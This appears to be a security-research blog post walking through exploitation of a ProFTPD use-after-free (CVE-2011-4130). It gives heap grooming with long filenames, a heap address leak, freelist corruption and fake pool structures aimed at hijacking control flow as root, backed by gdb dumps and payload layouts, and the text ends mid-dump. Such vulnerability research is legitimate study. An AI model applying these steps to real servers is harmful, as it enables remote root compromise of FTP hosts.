About Us | Contact Us    

 


 

VUPEN Research

 
  VUPEN Research Team
  VUPEN Research Blog
  VUPEN Research Videos
 
   

VUPEN Vulnerability Research Team (VRT) Blog

 
Advanced Exploitation of ProFTPD Response Pool Use-after-free (CVE-2011-4130) - Part II
 
Published on 2012-01-16 17:54:14 UTC by Jordan Gruskovnjak, Security Researcher @ VUPEN

Twitter LinkedIn Delicious Digg   

Hi everyone,

This is part II of our analysis and exploitation of the ProFTPD Reponse Pool Use-after vulnerability (CVE-2011-4130). In
part I, we published the in-depth analysis of the flaw and showed how to trigger it.

In this last but not least part, we will show how we managed to reliably exploit it by studying the pool allocator, achieving controlled heap allocations, controlling the stale pointer, triggering memory leaks to leak heap addresses, controlling the Freelist, overwriting the pool, and finally controlling EIP and executing our shellcode as root!

1. The Pool Allocator

In order to exploit this challenging use-after-free vulnerability, one has to dig into the pool allocator used in ProFTPD to understand how allocations are performed and how this allocator can be subverted. The pool allocator has the following characteristics:

- All allocations are tied to a pool, that is a pool is given a minimum size (default: 512 bytes) block which is used to perform subsequent allocations inside that pre-allocated space. In case the pool runs out of space, it retrieves the first fitting block inside a singly linked list and eventually calls "malloc()" if no block is big enough to serve the request.

- Memory is never free()ed until the program ends. Pools that are destroyed just insert their released blocks into the singly linked list of available blocks: the block_freelist.

- Pools have cleanup handlers called during pool destruction (which will be very useful for exploitation).

The base structure used in the pool allocator is the block which is defined in src/pool.c as:

 
union block_hdr {
  union align a;

  /* Padding */
  #if defined(_LP64) || defined(__LP64__)
  char pad[32];
  #endif

  /* Actual header */
  struct {
    char *endp;                                   // points to the end of the block
    union block_hdr *next;                   // used to walk the block_freelist linked list
    char *first_avail;                            // points to the first available memory inside block
  } h;
};

 

Example of an allocated block in memory:

0xc bytes of block header

 

 

endp

next

first_avail

data

unused data

0x4 bytes

0x4 bytes

0x4 bytes


 


The pool structure in src/pool.c is defined as follows:

 
struct pool {
  union block_hdr *first;                     // first block: Block where pool is contained
  union block_hdr *last;                     // last block retrieved from freelist, used for current alloc
  struct cleanup *cleanups;                // cleanup structure called during pool destruction
  struct pool *sub_pools;
  struct pool *sub_next;
  struct pool *sub_prev;
  struct pool *parent;
  char *free_first_avail;
  const char *tag;
};
 

A pool is created by calling the "make_sub_pool()" function which will allocate a 512 bytes memory chunk and return a pointer to the pool structure.

Example of an allocated pool structure:

endp

next

first_avail

pool structure

data

Unused data

0x4
bytes

0x4
bytes

0x4
bytes

0x36 bytes

variable length

variable length

1.a) Allocations

When allocation of data is requested using the "new_block()" function, the current pool is checked to verify if the current block the pool is using fits the size requirements.

If the block is not large enough, the code will walk the block freelist and retrieve the first candidate meeting the requirements. In the case the search is not successful, "malloc()" is called to allocate more memory. The pool current block is then updated with the retrieved block.

1.b) Deallocations (freeing under the context of the allocator)

Deallocations are only performed on a call to "destroy_pool()". All the blocks used by the pool are reinitialized and moved to the freelist using the "free_blocks()" function. No block is actually freed with a call to "free()". The last recently deallocated blocks are always the first in the block freelist. No coalescing is performed.


2. Controlling The Stale Pointer

Now that we have a better understanding of the pool allocation behavior, we have to find a way to put user-controlled data in the area pointed to by the "resp_pool" before the "pr_data_close()" function is executed (which eventually leads to a call to "palloc()").

Given the allocator behavior, since the cmd->pool has just been released, all it takes to get control of the pool allocator is performing a "palloc()" to retrieve the newly released pool block and copy user-controlled data in it, thus overwriting useful headers, before the "pr_data_close()" function is reached. Even though theoretically simple, it is quite tricky to achieve a user-controlled allocation.

By inspecting the code after the call to "destroy_pool()" we reach the following piece of code in "pr_data_xfer()":
 
 
int pr_data_xfer(char *cl_buf, int cl_size) {
[...]
  destroy_pool(cmd->pool);
[...]
if (session.xfer.direction == PR_NETIO_IO_RD) {
  char *buf = session.xfer.buf;
  pr_buffer_t *pbuf;

  if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
    int adjlen, buflen;

    do {
    buflen = session.xfer.buflen;                                  // how much remains in buf
    adjlen = 0;

    pr_signals_handle();

    len = pr_netio_read(session.d->instrm, buf + buflen,
    session.xfer.bufsize - buflen, 1);
    if (len < 0)
      return -1;

  /* Before we process the data read from the client, generate an event
  * for any listeners which may want to examine this data.
  */
                                                                             // returns a ptr to the destroyed pool structure
                                                                             // the second DWORD must be overwritten
  pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));

  // pbuf = { char* buf, unsigned long buflen, char *current, int remaining }
  pbuf->buf = buf;

                                                                             // this field is the ref. kept by the static value
                                                                             // (second DWORD of pool struct)
  pbuf->buflen = len;

  pbuf->current = pbuf->buf;
  pbuf->remaining = 0;

 

This piece of code looks like the perfect candidate. If the "session.xfer.p" pool has not enough space to handle the call to "pcalloc()" with a size of sizeof(pr_buffer_t), the block freelist will be processed and the address pointing to the previously destroyed pool will be returned. However the buf field of the pr_buffer_t structure is the first dword and not the second. Since the "alloc_pool()" uses a pointer located in the second dword of the pool structure, it will end trying to dereference a pointer whose value is the buffer length.

We eventually reach the following code portion within the same function:
 
 
int pr_data_xfer(char *cl_buf, int cl_size) {
 [...]
    destroy_pool(cmd->pool);
 [...]
else { /* PR_NETIO_IO_WR */
 [...]
  if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
    buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);

    xferbuflen = buflen;

    /* Fill up our internal buffer. */
    memcpy(session.xfer.buf, cl_buf, buflen);

    if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {              [1]

      /* Scan the internal buffer, looking for LFs with no preceding CRs.
      * Add CRs (and expand the internal buffer) as necessary. xferbuflen
      * will be adjusted so that it contains the length of data in
      * the internal buffer, including any added CRs.
      */
      xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);

 

Looking at "xfrm_ascii_write()" located in src/data.c gives the following:
 
 
static unsigned int xfrm_ascii_write(char **buf, unsigned int *buflen, unsigned int bufsize) {
  char *tmpbuf = *buf;
  unsigned int tmplen = *buflen;
  unsigned int lfcount = 0;
  unsigned int added = 0;
  [...]
  if ((res = (bufsize - tmplen - lfcount)) <= 0) {                              [2]
    char *copybuf = malloc(tmplen);
    if (!copybuf) {
      pr_log_pri(PR_LOG_ERR, "fatal: memory exhausted");
      exit(1);
    }
    memcpy(copybuf, tmpbuf, tmplen);

    /* Allocate a new session.xfer.buf of the needed size. */
    session.xfer.bufsize = tmplen + lfcount + 1;
    session.xfer.buf = pcalloc(session.xfer.p, session.xfer.bufsize);
    memcpy(session.xfer.buf, copybuf, tmplen);

 

A "pcalloc()" followed by a "memcpy()" is exactly what we need to take control of the pool. However certain conditions have to be met in order to reach this code section:

In [1] the session.flags variable has to be set to SF_ASCII|SF_ASCII_OVERRIDE. Searching through the code in modules and src, we isolate 3 commands which set these flags and perform data transfer by the mean of the "pr_data_xfer()" function: MLSD, LIST and NLST.

These 3 ftp commands perform directory file listing. For exploitation, NLST is the most interesting since it just prints the names of files present in a directory and does not add any extra information.

Example of output with the 3 commands executed within the foo directory containing the "bar" file:
 
MLSD LIST NLST

 modify=20111214151251;perm=adfrw;size=4;
 type=file;unique=806U1D203D;
 UNIX.group=1000;UNIX.mode=0644;
 UNIX.owner=1000; bar
 

 -rw-r--r-- 1 1000 1000 4 Dec
  14  15:12 bar


bar

The condition [2] is more restrictive. In order to reach the "pcalloc()" call, tmplen - lfcount must be greater than or equal to bufsize. The value of bufsize is set by the "pr_config_get_server_xfer_bufsz()" which returns the value 16384. This means that the NLST command must be invoked on a directory whose file listing size + lfcount (which is the number of carriage return in the buffer) is greater than or equal to 16384 bytes. Moreover this implies that, to be useful, the file listing must contain user-controlled data, implying the ability to write in a directory.

If we invoke the NLST command on a directory containing these 3 files: "foo", "bar", and "foobar", the NSLT buffer will be: "foo" + "\n" + "bar" + "\n" + "foobar" + "\n".

This will give a tmplen of: len("foo") + "\n" + len("bar") + "\n" + len("foobar") + "\n" = 15 bytes and a lfcount of 3 bytes = 18 bytes.

Since the maximum file size on a UNIX file system is 255 bytes (if we suppose ext2/3), for each 255 bytes file listed we have a result of 255 + 1 ("\n") = 256 bytes. By creating 16384 / 256 = 64 files with filename of 255 bytes each, the code will enter the required code path.

Let's take a look at the "block_freelist" state before and after the pool destruction.

Before cmd->pool destruction inside "pr_data_xfer()":
 
 
(gdb) x/2i 0x080766a0
  0x080766a0 <+2960>: call 0x80598a0 <destroy_pool>
  0x080766a5 <+2965>: jmp 0x8075b7e <pr_data_xfer+110>
Breakpoint 2, 0x080766a0 in pr_data_xfer ()
(gdb) display_freelist
Block: 0x98ee828 Size: 512             // size = block_hdr->h.endp - block_hdr->h.first_avail

 

After cmd->pool destruction:
 
 
Temporary breakpoint 3, 0x080766a5 in pr_data_xfer()
(gdb) display_freelist
Block: 0x98c24f8 Size:
512          // pool which has just been destroyed
Block: 0x98c2b28  Size: 512          // => head of freelist
Block: 0x98ee828  Size: 512          // old head of freelist
(gdb) disas pr_response_get_pool
Dump of assembler code for function pr_response_get_pool:
  0x08073d10 <+0>: mov 0x80fd088,%eax      // static resp_pool address
  0x08073d15 <+5>: ret
End of assembler dump.
(gdb) x/wx 0x80fd088
0x80fd088: 0x098c2504                // static value (kept reference) points
                                                  // inside a free block

(gdb) x/x 0x098c2504 - 0xc       // subtract block_hdr size
0x98c24f8: 0x098c2704

 

We have confirmed that the stale pointer points to the destroyed pool which is the first in the block_freelist. So the next call to "palloc()" is likely to retrieve this pointer back from the block_freelist. However, the freed block size is way too small to be retrieved by a call to palloc(resp_buf, 16384), which will eventually rely on "malloc()" to perform its allocations, which must be avoided.

In order for this technique to work, we have to perform preliminary allocations of 16384 bytes using the NLST command, and release them to the block freelist before triggering the bug. If the block freelist is in a right state when the "make_sub_pool()" is called, a block of 16384 bytes will be retrieved from the freelist and assigned as the cmd_rec structure pool.

Eventually when the vulnerability will be triggered, the first block in the block freelist will be large enough to handle the pcalloc(16384) request and will be returned to the caller. "memcpy()" will then fill the buffer with attacker's controlled data.

Let's put all the pieces together. To achieve code execution, we need to:

- Pre-allocate blocks of 16384 bytes using the NLST command
- Craft the block freelist in a way that "make_sub_pool()" will return one of these 16384 bytes blocks
- Trigger the vulnerability
- Allocate a block of 16384 bytes and retrieve the former cmd->pool pointer
- Fill the buffer with controlled memory and move forward!

Now everything is set (crafting the block_freelist is left as an exercise for the reader), let's see what happens when firing our modified PoC:

Before the call to "make_sub_pool()":
 

 
Breakpoint 6, 0x0805636b in pr_cmd_read ()
(gdb) bt 2
#0 0x0805636b in pr_cmd_read ()
#1 0x0807609b in pr_data_xfer ()
 (gdb) x/i $eip
=> 0x805636b <pr_cmd_read+475>: call 0x80596c0 <make_sub_pool>
(gdb) display_freelist
Block: 0x98c2d80 Size: 16896                 // the pool will be given a 16896 bytes block
Block: 0x98e7670 Size: 512
Block: 0x98e7880 Size: 512
Block: 0x98e7a90 Size: 512

 

The size of 16896 results from the way "new_block()" computes the required size:
 
 
int nclicks = 1 + ((reqsz - 1) / CLICK_SZ);  # CLICK_SZ = size of block header (0xc)
int sz = nclicks * CLICK_SZ;
minsz = 1 + ((sz - 1) / BLOCK_MINFREE);   # BLOCK_MINFREE = 512
minsz *= BLOCK_MINFREE;

 

Before the call to "pcalloc()", in "pr_data_xfer()" after the pool has been destroyed:
 
 
Breakpoint 8, 0x08076018 in pr_data_xfer ()
(gdb) x/10i $eip
=> 0x8076018 <pr_data_xfer+1288>: call 0x8059a10 <pcalloc>
  0x807601d <pr_data_xfer+1293>: mov %esi,0x8(%esp)
  0x8076021 <pr_data_xfer+1297>: mov %ebx,0x4(%esp)
  0x8076025 <pr_data_xfer+1301>: mov %eax,0x8106140
  0x807602a <pr_data_xfer+1306>: mov %eax,(%esp)
  0x807602d <pr_data_xfer+1309>: call 0x8052b90 <memcpy@plt>

(gdb) x/2wx $esp
0xbfbe3c80: 0x0985d794 0x00004006
(gdb) display_freelist
Block: 0x98c2d80 Size: 16896                // the pcalloc() call will return the stale pointer

 

Leading to a SIGSEGV with our controlled values:
 
 
Program received signal SIGSEGV, Segmentation fault.
0x080595a5 in ?? ()
(gdb) i r eax
eax 0x41414141 1094795585
(gdb) bt 4
#0 0x080595a5 in ?? ()
#1 0x08059a2f in pcalloc ()
#2 0x0807442b in pr_response_add ()
#3 0x0807571c in pr_data_close ()
(gdb) x/40wx $ebx
0x98c2d90: 0x41414141  0x41414141  0x41414141  0x41414141
[&]
0x98c2e20: 0x41414141  0x41414141  0x41414141  0x41414141

 

We are now controlling the pool data. Obviously, the first idea here is to create a fake cleanup structure to be called during the "destroy_pool()" call. However since the resp_pool is a borrowed pool, the response pool code never calls "destroy_pool()" because it does not own the pool. Since we are exploiting a use-after-free vulnerability, the pool has already been destroyed...


3. Controlling Allocations

In order to fully control the allocation behavior, the 2nd DWORD of the pool must point to a block structure that we control. For the moment, let's make the assumption that we control the allocation and thus can influence the "palloc()" behavior.

Let's take a look at what the code does with the memory allocated from the pool we control:
 
 
void pr_response_add(const char *numeric, const char *fmt, ...) {
  [...]
  resp = (pr_response_t *) pcalloc(resp_pool, sizeof(pr_response_t));
  resp->num = (numeric ? pstrdup(resp_pool, numeric) : NULL);
  resp->msg = pstrdup(resp_pool, resp_buf);

 

- "pcalloc()" retrieves a block of memory using "palloc()", and initializes the returned block to NULL with a call to memset(0).

- "pstrdup()" retrieves a block of memory with a size of the string provided as argument and copies the string to the allocated block.

The "pr_response_t" structure defined in the include/response.h looks as follows:

 
/* Response structure */
typedef struct resp_struc {
  struct resp_struc *next;
  char *num;
  char *msg;
} pr_response_t;

 

Finally the assembly looks as follows:
 
 
0x0807440f <+63>: mov 0x80fd088,%eax                 // resp_pool
0x08074414 <+68>: movb $0x0,0x80fe49f
0x0807441b <+75>: movl $0xc,0x4(%esp)                // 0xc (size) -> rounded to 0x10
0x08074423 <+83>: mov %eax,(%esp)                    // by alloc_pool()
0x08074426 <+86>: call 0x8059a10 <pcalloc>
0x0807442b <+91>: mov %eax,%ebp
0x0807442d <+93>: xor %eax,%eax
0x0807442f <+95>: test %esi,%esi
0x08074431 <+97>: je 0x8074444 <pr_response_add+116>
0x08074433 <+99>: mov 0x80fd088,%eax               // resp_pool
0x08074438 <+104>: mov %esi,0x4(%esp)
0x0807443c <+108>: mov %eax,(%esp)
0x0807443f <+111>: call 0x805aae0 <pstrdup>
0x08074444 <+116>: mov %eax,0x4(%ebp)        // 2nd dword of struct is written
0x08074447 <+119>: mov 0x80fd088,%eax             // resp_pool
0x0807444c <+124>: movl $0x80fd0a0,0x4(%esp)   // resp_buf
0x08074454 <+132>: mov %eax,(%esp)
0x08074457 <+135>: call 0x805aae0 <pstrdup>
0x0807445c <+140>: mov %eax,0x8(%ebp)

 

The exploitation possibilities seem rather limited, since the "pr_response_add()" function is the only one which uses our corrupted pool pointer, this is the only place where we can take control of the execution flow.

Basically, since we control the pool, we can make "pcalloc()" return an arbitrary pointer whose memory has been initialized to zero.

The two "pstrdup()" functions do not provide any help since the copied data are not user-controlled (respectively "226" and "Transfer complete\r\n". The two pointers returned by the two "pstrdup()" calls are then written to respectively the 2nd and 3rd dword of the pr_response_t structure.

However this assembly dump gives us precious information: the resp_buf variable is a static variable located at address 0x80fd0a0. Since the resp_buf holds the response sent by the server to the client, one can influence the server responses to make them write interesting data in this location.

Let's try:

 
220 ProFTPD 1.3.4rc2 Server (Debian) [127.0.0.1]
AAAAAAAAAAAA[...]AAAAAAAA
500 AAAAAAAAAAAA[...]AAAAAAAA not understood

 

And now in GDB:
 
 
(gdb) x/40wx 0x80fd0a0
0x80fd0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd0f0:  0x41414141 0x41414141 0x41414141 0x41414141
0x80fd100: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd110: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd120: 0x41414141 0x41414141 0x41414141 0x41414141
0x80fd130: 0x41414141 0x41414141 0x41414141 0x41414141

 

Since the resp_buf content can be controlled, one can easily send a fake command which will fill the resp_buf buffer with a fake block header. By making the pool->last pointer points to this fake block header, we will be able to control the memory addresses returned by "palloc()".

Let's see what happens when "pcalloc()" returns a pointer to a writable memory inside a zone we have filled in with 0x41s. One can observe the result of the execution of the "pr_response_add()" function.

In this example, the pointer returned by "pcalloc()" is 0x8106400. We break just after the "pr_response_add()" function has returned:
 
 
Temporary breakpoint 2, 0x0807571c in pr_data_close ()
(gdb) x/11wx 0x8106400
0x8106400: 0x00000000   0x08106410    0x08106418  0x41414141
0x8106410: 0x00363232  0x41414141 
 0x6e617254  0x72656673
0x8106420: 0x6d6f6320   0x74656c70     0x41410065
(gdb) x/s 0x8106410
0x8106410: "226"
(gdb) x/s 0x8106418
0x8106418: "Transfer complete"

 

This memory dump can be translated into the following structures:
 



Interesting! The code writes at offset +4 (starting from the controlled pointer returned by pcalloc()) a pointer to a string located 0x8 bytes farther. What is interesting is that the pointer at offset +4, is the address assigned to the "226" string (at 0x08106410) which, thanks to "palloc()", is 8 bytes wide and so does not trash the 2nd dword of memory.

By correctly crafting the block structure used for the allocations, we can even avoid the msg pointer to be allocated right after the num buffer, and thus preventing the memory following the num buffer from being overwritten with the "Transfer complete" string.

We know now the layout of the memory after the execution of "pr_response_add()" under the assumption that the pointer returned by "palloc()" is controlled. However one has to overwrite a structure in memory whose 2nd dword is a pointer, and the 2nd dword of the pointed address, which is 0x8 byte away, will need to be user-controlled.

The second problem being that the structure we should overwrite is likely to be located in the heap and thus is not static in memory.



4. Leaking Memory

If we want to succeed in overwriting something useful from the heap memory, we will need to transform the "pseudo" arbitrary writes above into a memory leak. To achieve this, we will use the resp_buf which is at a fixed location in memory (0x80fd0a0), to send back heap addresses to the client instead of the "226 Transfer Complete" message.

By making the pool->last point to &resp_buf - 0x4, palloc() will use the following block:

address

&resp_buf - 4

&resp_buf

&resp_buf + 4

field

endp

next

first_avail

value

0x00000000

0xxxxxxxx

0xxxxxxxxx

When "alloc_pool()" is called, we enter the following code stub in src/pool.c:

 
static void *alloc_pool(struct pool *p, int reqsz, int exact) {
  [...]
  new_first_avail = first_avail + sz;

  if (new_first_avail <= blok->h.endp) {              [1]
    blok->h.first_avail = new_first_avail;
  return (void *) first_avail;
  }

  /* Need a new one that's big enough */
  pr_alarms_block();

  blok = new_block(sz, exact);                               [2]
  p->last->h.next = blok;                                     [3]
  p->last = blok;

 

Since endp == 0x0, due to the previous initialization of this memory area, the check in [1] will fail and the code will then rely on the block freelist to retrieve a block. A fitting block is returned in [2] by the "new_block()" function. Finally, since the pool keeps a linked list to keep track of the blocks it uses, the next pointer, which corresponds to the address of resp_buf (&resp_buf - 4 + 4), is updated with the address of the newly allocated block, retrieved from the block freelist. The fake block chunk has now the following layout:

address

&resp_buf - 4

&resp_buf

&resp_buf + 4

field

endp

next

first_avail

value

0x00000000

heap address (0x09b280c0)

0xxxxxxxxx

The resp_buf is then sent back to the attacker, leaking the address of the first available block from the block freelist at the time of the call to "palloc()": "\xc0\x80\xb2\x09sfer complete".

Now we have a nice starting point to search for structures present in heap memory.



5.
Taking Control of the Freelist

The next step in this exploitation is to overwrite a structure in memory in such a way that we can insert controlled chunks into the block freelist, thus completely controlling the allocations. There are two actions that update the block freelist: allocations via "new_block()" and deallocations via "free_blocks()".

We found a successful method during the deallocation of allocated blocks in memory.

Indeed, since the "NLST" commands have sprayed memory with contiguous blocks, we can derive the address of the next blocks by adding the value 0x210 (0x200 of pool size + 0x10 of block header) to the leaked address. By walking the memory forward, we find the following chunk:
 
 
(gdb) x/40wx 0x09b280c0 + 0x210 * 4
0x9b28900:
0x09b28b0c 0x09b28b10 0x09b28a1c  0x6d6f682f
0x9b28910: 0x75762f65  0x2f6e6570
 0x2f6f6f66   0x51414141
0x9b28920: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28930: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28940: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28950: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28960: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28970: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28980: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28990: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/s 0x9b2890c
0x09b2890c: "/home/vupen/foo/AAAAAAAAAAA", 'A' <repeats 132 times>...

 

We are almost good, but the filename we control is prepended with the current directory path which is not always user-controlled. Let's look further:
 

 
(gdb) x/40wx 0x09b280c0 + 0x210 * 5
0x9b28b10:
0x09b28d1c 0x09b28d20 0x09b28c1c  0x51414141
0x9b28b20: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b30: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b40: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b50: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b60: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b70: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b80: 0x41414141 0x41414141 0x41414141 0x41414141
0x9b28b90: 0x41414141 0x41414141 0x41414141 0x41414141

 

Caught! We found a memory block whose data is completely user-controlled. Looking at the block freelist yields no results telling us the block we found is still in use. We have to wait for the pool managing this block to be destroyed, eventually calling the "free_blocks()" function to make something useful out of this memory block.

For the recall, the three first dwords are the block header we are trying to overwrite in a useful way. Since the process is forked on every connection to port 21, the memory layout will remain constant (as long as the number of clients does not vary) between multiple connections.

Let's have a look at the "free_blocks()" function located in in src/pool.c to find what can be achieved by controlling the next pointer of a block to be freed:

 
/* Free a chain of blocks -- _must_ call with alarms blocked. */

static void free_blocks(union block_hdr *blok, const char *pool_tag) {

/* Puts new blocks at head of block list, point next pointer of
* last block in chain to free blocks we already had.
*/

union block_hdr *old_free_list = block_freelist;

if (!blok)
  return; /* Shouldn't be freeing an empty pool */

block_freelist = blok;

/* Adjust first_avail pointers */

while (blok->h.next) {
  chk_on_blk_list(blok, old_free_list, pool_tag);
  blok->h.first_avail = (char *) (blok + 1);
  blok = blok->h.next;
}

chk_on_blk_list(blok, old_free_list, pool_tag);
blok->h.first_avail = (char *) (blok + 1);
blok->h.next = old_free_list;
}

 

The block list is walked from block to block until blok->h.next == NULL. At each loop the first_avail pointer is reset to point just after the block header. Then the blok->h.next pointer is used to retrieve the next block. By controlling the next pointer we can insert an arbitrary amount of blocks pointing to arbitrary memory addresses and having arbitrary sizes.

Since we now know the exact address of the block in memory (leaked address + 0x210 * 5), and since we now control the data in this memory block, we can embed a fake pool structure and fake block header structures as well. The idea here is to make the call to "pcalloc()" in "pr_response_add()" return the address of the block header we want to overwrite. We will use the following layout inside the filenames to achieve a successful overwrite:
 

By breaking before the call to "pcalloc()" in "pr_response_add()", the memory block looks as follows:
 
 
(gdb) x/11wx 0x09b280c0 + 0x210 * 5
0x9b28b10: 0x09b28d1c 0x09b28d20 0x09b28c1c 0x51414141
0x9b28b20: 0x09b28b30 0x41414141 0x42424242 0x43434343
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b10

 

After the call to "pcalloc()" is successful, the memory looks like this:
 
 
Temporary breakpoint 2, 0x0807442b in pr_response_add ()
(gdb) i r eax
eax            0x9b28b10 162695952
(gdb) x/11wx 0x09b280c0 + 0x210 * 5
0x9b28b10:
0x00000000 0x00000000 0x00000000 0x51414141
0x9b28b20: 0x00363232 0x41414141 0x42424242 0x43434343
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b28

 

The three header dwords are NULL due to the call to "memset(0)" following "palloc()".

Setting two breakpoints after the two consecutive calls to "pstrdup()", we have the following behavior:

 
Temporary breakpoint 3, 0x08074444 in pr_response_add ()
(gdb) i r eax
eax            0x9b28b20 162695968           // address returned by pstrdup()
(gdb) ni
0x08074447 in pr_response_add ()
(gdb) x/11wx 0x09b280c0 + 0x210 * 5
0x9b28b10:
0x00000000 0x09b28b20 0x00000000 0x51414141
0x9b28b20: 0x00363232 0x41414141 0x42424242 0x43434343
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b28
(gdb) c

 

The next pointer of the block header has effectively been overwritten with the address 0x09b28b20 pointing inside our controlled data. Even if the first dword at 0x09b28b20 has been trashed, the second one is still controlled and will act as the next pointer of the fake block header.

 
Temporary breakpoint 4, 0x807445c pr_response_add ()
(gdb) i r eax
eax            0x9b29c48 162700360         // Address returned by the second pstrdup()
(gdb) ni
0x0807445f in pr_response_add ()
(gdb) x/11wx 0x09b280c0 + 0x210 * 5
0x9b28b10: 0x00000000
0x09b28b20 0x09b29c48 0x51414141
0x9b28b20: 0x00363232 0x41414141 0x42424242 0x43434343
0x9b28b30: 0x09b28b28 0x41414141 0x09b28b28

 

Since we limited the size of the available block in our fake block header, the second call to "pstrdup()" was forced to use a block from the block freelist, avoiding to trash our controlled data with the string "Transfer complete".

At the end of "pr_response_add()" our pointer has been preserved. Now let's continue execution:

 
Program received signal SIGSEGV, Segmentation fault.
0x08059651 in ?? ()
(gdb) bt 2
#0 0x08059651 in ?? ()
#1 0x08059933 in destroy_pool ()
(gdb) x/3i $eip
=> 0x8059651: mov 0x4(%edx),%ecx  // blok = blok->h.next
     0x8059654: test %ecx,%ecx           // if (blok == NULL)
     0x8059656: je 0x8059660               // exit loop
(gdb) i r edx
edx                 0x41414141 1094795585

 

The program crashes in the "free_blocks()" function when trying to get the value pointed by block->next.

Since %edx has the value 0x41414141, we successfully took control of the block header. By carefully crafting the next pointer, we can create a bunch of fake blocks which will populate the block freelist and allow the allocation of arbitrary addresses in memory.



6. Overwriting the Pool and Controlling EIP

Now that we control the addresses returned by "new_block()", the idea is to make a call to "make_sub_pool()" return a pointer pointing inside resp_buf, overwrite the pool with controlled data copied in resp_buf and wait for the "destroy_pool()" to be called and reach the following code stub, which handles the pool cleanup pointer:
 
 
0x080598e2 <+66>: mov 0x8(%ebx),%esi                     // retrieve pointer
0x080598e5 <+69>: test %esi,%esi                               // verify pointer != NULL
0x080598e7 <+71>: je 0x80598ff <destroy_pool+95>
0x080598e9 <+73>: lea 0x0(%esi,%eiz,1),%esi
0x080598f0 <+80>: mov (%esi),%eax
0x080598f2 <+82>: mov %eax,(%esp)
0x080598f5 <+85>: call *0x4(%esi)                          // call [ptr+0x4]

 

The cleanup structure is defined in src/pool.c:
 
 
typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);         // handler called during destroy_pool()
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;
} cleanup_t;

 

In order for "make_sub_pool()" to return a controlled pointer, we must modify the previous payload and make the "free_blocks()" function terminate properly.

The new payload looks as follows:
 
 
(gdb) x/16wx 0x09b280c0 + 0x210 * 5
0x9b28b10:
0x09b28d1c 0x09b28d20 0x09b28c1c  0x51414141
0x9b28b20: 0x09b28b30 0x09b28b40 0xdeadbeef  0x41414141
0x9b28b30: 0x09b28b28 0x09b28b40 0x09b28b10 0x42424242
0x9b28b40: 0x09b29140 0x080fd120 0x09b28b50  0x43434343

 

When breaking after the call to "pr_response_add()" the memory looks as follows:
 
 
(gdb) x/16wx 0x09b280c0 + 0x210 * 5
0x9b28b10:
0x09b28d1c 0x09b28d20 0x09b29c48  0x51414141
0x9b28b20: 0x09b28b30 0x09b28b40 0xdeadbeef  0x41414141
0x9b28b30: 0x09b28b28 0x09b28b40 0x09b28b28 0x42424242
0x9b28b40: 0x09b29140 0x080fd120 0x09b28b50  0x43434343

 

This gives the following layout:

 



- The overwritten next block header now points to our fake chunks









- This block of 8132 bytes is used to grab all previous allocations and avoid the block at 0x80fd120 being requested before the call to make_sub_pool().


- This block header specifies a block of 4016 bytes inside resp_buf. And is the one which will be retrieved by make_sub_pool()



- The next pointer of this block header points to a zone containing NULL bytes to exit the while loop in free_blocks().

Now if we set a breakpoint after the call to "free_blocks()" and display the block_freelist, we obtain the following results:
 
 
Temporary breakpoint 6, 0x08059689 in ?? ()
(gdb) display_freelist
Block: 0x09b28b10 Size: -146485372
Block: 0x09b28b20 Size: -142933594
Block: 0x09b28b40 Size: 8132
Block: 0x080fd120 Size: 4016
Block: 0x080fd210 Size: -135254556

 

As we can see, we have successfully inserted our fake blocks into the block freelist. The blocks at 0x09b28b10 and 0x09b28b20 have a negative size because the endp and first_avail pointer are not correctly set. However since the resulting size is negative, this block will never be processed. We have now to achieve the last step: allocate the pool, overwrite it and control EIP.

To do so, we supply the following command after the fake blocks have been inserted in the freelist:

 
RETR [payload][fake pool header]
150 Opening ASCII mode data connection for [payload][fake_pool_header] (xxx) bytes

 

In order for this command to successfully work, a file whose filename is [payload][fake pool header] has previously been created. This command does involve two actions. The first one is the "make_sub_pool()" call returning our fake block inside "pr_netio_open()":

 
Breakpoint 1, 0x08071dbe in pr_netio_open ()
(gdb) x/i $eip
=> 0x8071dbe <pr_netio_open+46>: call 0x80596c0 <make_sub_pool>
(gdb) display_freelist
Block: 0x09b28b10 Size: -146485372 // since theses 2 blocks are never processed
Block: 0x09b28b20 Size: -142933594 // they remain in the block_freelist
Block: 0x080fd120 Size: 4016
(gdb) c
Breakpoint 3, 0x08071dc3 in pr_netio_open () // after the call to make_sub_pool()
(gdb) i r eax
eax    0x80fd12c     135254316

 

The "make_sub_pool()" call returns our fake block inside the "pr_netio_open()" function, which will handle the data sent on the data channel for the file transfer. The execution then continues until the second action: "pr_response_add()" is called with the string "150 Opening.....[payload][fake pool header]..bytes" and copies it into resp_buf.

Let's look at the pool header after the copy:

 
(gdb) x/9wx 0x80fd12c
0x80fd12c: 0x080fd210  0x080fd210
